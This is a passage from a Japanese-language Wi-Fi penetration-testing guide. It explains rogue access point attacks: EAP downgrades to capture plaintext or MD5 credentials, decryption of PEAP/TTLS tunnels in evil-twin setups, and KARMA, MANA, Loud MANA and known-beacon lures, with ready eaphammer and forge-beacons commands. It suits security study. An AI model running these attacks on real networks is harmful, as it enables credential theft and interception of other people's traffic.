GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5

これは、長い接続時間を避けるためのデフォルトの方法論です。ただし、最も弱い認証方法から最も強い方法まで、サーバーに指定することもできます。

--negotiate weakest

または、次のようにしても利用できます：

--negotiate gtc-downgrade を使用して、高効率のGTCダウングレード実装（平文パスワード）を使用します。
--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP を指定して、手動で提供されるメソッドを指定します（攻撃対象の組織と同じ認証メソッドを同じ順序で提供すると、攻撃を検出するのがはるかに難しくなります）。
ウィキで詳細情報を見つける

Airgeddonを使用する

Airgeddon は以前に生成された証明書を使用して、WPA/WPA2-EnterpriseネットワークにEAP認証を提供できます。偽のネットワークは接続プロトコルをEAP-MD5にダウングレードするため、ユーザーとパスワードのMD5をキャプチャできます。後で、攻撃者はパスワードを解読しようと試みることができます。
Airggedon は**連続的なイービルツイン攻撃（ノイジー）または誰かが接続するまでイービルアタックを作成するだけ（スムーズ）**の可能性を提供します。

Evil Twins攻撃でのPEAPおよびEAP-TTLS TLSトンネルのデバッグ

この方法はPEAP接続でテストされましたが、任意のTLSトンネルを復号化しているため、EAP-TTLSでも機能するはずです

_hostapd-wpe_の構成内で、dh_file=/etc/hostapd-wpe/certs/dh から #dh_file=/etc/hostapd-wpe/certs/dh を含む行をコメントアウトします。
これにより、hostapd-wpe がDHの代わりにRSAを使用して鍵を交換するようになり、後でサーバーの秘密鍵を知っている場合にトラフィックを復号できるようになります。

今、通常どおり変更された構成を使用してhostapd-wpeを起動してEvil Twinを開始します。また、Evil Twin攻撃を実行しているインターフェースで**wireshark**を起動します。

今すぐまたは後で（すでにいくつかの認証意図をキャプチャしている場合）、RSAキーをwiresharkに追加できます: Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...

新しいエントリを追加し、次の値を入力します: IPアドレス = any -- ポート = 0 -- プロトコル = data -- キーファイル（キーファイルを選択し、問題を避けるためにパスワード保護されていないキーファイルを選択します）。

そして、新しい**"Decrypted TLS"タブ**を見てください：

KARMA、MANA、Loud MANAおよびKnown beacons攻撃

ESSIDおよびMACブラック/ホワイトリスト

異なる種類のMedia Access Control Filter Lists（MFACLs）とそれらに対応するローグアクセスポイント（AP）の動作に及ぼす影響のモード：

MACベースのホワイトリスト:

ローグAPは、ホワイトリストに指定されたデバイスからのプローブリクエストにのみ応答し、リストされていないすべてのデバイスには見えなくなります。

MACベースのブラックリスト:

ローグAPは、ブラックリスト上のデバイスからのプローブリクエストを無視し、特定のデバイスには見えなくなります。

SSIDベースのホワイトリスト:

ローグAPは、指定されたESSIDのみに対するプローブリクエストにのみ応答し、そのESSIDが含まれていないデバイスには見えなくなります。

SSIDベースのブラックリスト:

ローグAPは、ブラックリスト上の特定のESSIDに対するプローブリクエストには応答せず、その特定のネットワークを探しているデバイスには見えなくなります。

# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*

[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]

# example ESSID-based MFACL file
name1
name2
name3

[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]

KARMA

この方法は、デバイスがネットワークに接続しようとする際に発信されるすべてのプローブリクエストに応答する悪意のあるアクセスポイント（AP）を作成することを攻撃者に可能にします。この技術は、デバイスが検索しているネットワークを模倣することで、デバイスを攻撃者のAPに接続させることができます。デバイスがこの不正なAPに接続要求を送信すると、接続が完了し、デバイスが誤って攻撃者のネットワークに接続するようになります。

MANA

その後、デバイスは未要求のネットワーク応答を無視し始め、元のkarma攻撃の効果が低下しました。しかし、Ian de VilliersとDominic Whiteによって導入されたMANA攻撃として知られる新しい方法があります。この方法では、ローグAPが、デバイスが以前に要求したネットワーク名（SSID）に応答して、デバイスからのブロードキャストプローブリクエストをキャプチャし、デバイスからの優先ネットワークリスト（PNL）を取得します。この洗練された攻撃は、デバイスが既知のネットワークを記憶し優先順位付けする方法を悪用することで、元のkarma攻撃に対する保護をバイパスします。

MANA攻撃は、デバイスからの指示されたプローブリクエストとブロードキャストプローブリクエストの両方を監視して動作します。指示されたリクエストの場合、デバイスのMACアドレスと要求されたネットワーク名を記録し、この情報をリストに追加します。ブロードキャストリクエストが受信されると、APはデバイスのリストにあるネットワークと一致する情報で応答し、デバイスをローグAPに接続させるよう誘導します。

./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]

ラウドMANA

ラウドMANA攻撃は、デバイスが指向性プロービングを使用しない場合や、そのデバイスの優先ネットワークリスト（PNL）が攻撃者に不明な場合のための高度な戦略です。この攻撃は、同じエリアにあるデバイスはPNLでいくつかのネットワーク名を共有する可能性が高いという原則に基づいています。選択的に応答する代わりに、この攻撃は観測されたすべてのデバイスの結合されたPNLにあるすべてのネットワーク名（ESSID）に対してプローブ応答をブロードキャストします。この広範なアプローチにより、デバイスが馴染みのあるネットワークを認識し、ローグアクセスポイント（AP）に接続しようとする可能性が高まります。

./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]

既知のビーコン攻撃

Loud MANA攻撃が十分でない場合、既知のビーコン攻撃は別のアプローチを提供します。この方法は、ワードリストから派生した潜在的なESSIDのリストをサイクリングしながら、任意のネットワーク名に応答するAPをシミュレートすることで、接続プロセスをブルートフォースします。これにより、多数のネットワークが存在するかのようにシミュレートされ、被害者のPNL内のESSIDと一致することを期待し、偽のAPへの接続試行が促されます。攻撃は、デバイスを捕らえるより積極的な試みのために--loudオプションと組み合わせることで強化できます。

Eaphammerは、この攻撃をMANA攻撃として実装し、リスト内のすべてのESSIDが充電されます（--loudを組み合わせてLoud MANA + Known beacons攻撃を作成することもできます）。

./eaphammer -i wlan0 --mana [--loud] --known-beacons  --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]

既知のビーコンバースト攻撃

既知のビーコンバースト攻撃には、ファイルにリストされた各ESSIDのためにビーコンフレームを高速でブロードキャストするという手法が含まれます。これにより、偽のネットワークの密集環境が作成され、MANA攻撃と組み合わせると、デバイスがローグAPに接続する可能性が大幅に高まります。この技術は、速度とボリュームを活用して、デバイスのネットワーク選択メカニズムを圧倒します。

# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5

Wi-Fi Direct

Wi-Fi Directは、従来のワイヤレスアクセスポイントを必要とせずに、デバイス同士がWi-Fiを使用して直接リンクするためのプロトコルです。この機能は、プリンターやテレビなどのさまざまなインターネット・オブ・シングス（IoT）デバイスに統合されており、デバイス間の直接通信を容易にします。Wi-Fi Directの注目すべき特徴の1つは、1つのデバイスが接続を管理するためのアクセスポイントであるグループオーナーの役割を担うことです。

Wi-Fi Direct接続のセキュリティは、**Wi-Fi Protected Setup（WPS）**を介して確立されます。これには、次のような安全なペアリングのためのいくつかの方法がサポートされています：

Push-Button Configuration（PBC）
PIN入力
Near-Field Communication（NFC）

これらの方法、特にPIN入力は、従来のWi-FiネットワークのWPSと同様の脆弱性に対して脆弱であり、同様の攻撃ベクトルの標的となります。

EvilDirect Hijacking

EvilDirect Hijackingは、Wi-Fi Directに特有の攻撃です。これはEvil Twin攻撃の概念を反映しており、Wi-Fi Direct接続を標的としています。このシナリオでは、攻撃者が正当なグループオーナーをなりすまし、デバイスを悪意のあるエンティティに接続させることを目的としています。この方法は、airbase-ngなどのツールを使用して、なりすまされたデバイスのチャンネル、ESSID、およびMACアドレスを指定することで実行できます：

参考文献

TODO: https://github.com/wifiphisher/wifiphisherをチェックしてください（FacebookログインとキャプティブポータルでのWPAの模倣）

HackenProof Discordサーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう！

ハッキングの洞察
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう

リアルタイムのハックニュース
リアルタイムのニュースと洞察を通じて、ハッキングの世界を最新の状態に保ちましょう

最新の発表
最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう

Discordに参加して、今日からトップハッカーと協力を始めましょう！

README.md Unescape Escape

Wifiのペンテスト

Wifi基本コマンド

ツール

EAPHammer

Airgeddon

wifiphisher

Wifite2

攻撃の概要

DOS

Deauthentication Packets

切断パケット

mdk4によるさらなるDOS攻撃

Airggedon

WPS

WPSブルートフォース

WPS Pixie Dust攻撃

Null Pin attack

Airgeddon

WEP

WPA/WPA2 PSK

PMKID

ハンドシェイクのキャプチャ

ファイル内のハンドシェイクをチェックします

WPAエンタープライズ（MGT）

ユーザー名のキャプチャ

匿名ID

EAP-Bruteforce（パスワードスプレー）

クライアント攻撃の理論

ネットワーク選択とローミング

優先ネットワークリスト（PNL）

パッシブスキャン

アクティブプロービング

インターネットにリダイレクトされるシンプルなAP

DHCP & DNS

hostapd

フォワーディングとリダイレクト

イービルツイン

WPA/WPA2 Evil Twin

エンタープライズイービルツイン

Evil Twins攻撃でのPEAPおよびEAP-TTLS TLSトンネルのデバッグ

KARMA、MANA、Loud MANAおよびKnown beacons攻撃

ESSIDおよびMACブラック/ホワイトリスト

KARMA

MANA

ラウドMANA

既知のビーコン攻撃

Wi-Fi Direct

EvilDirect Hijacking

参考文献

README.md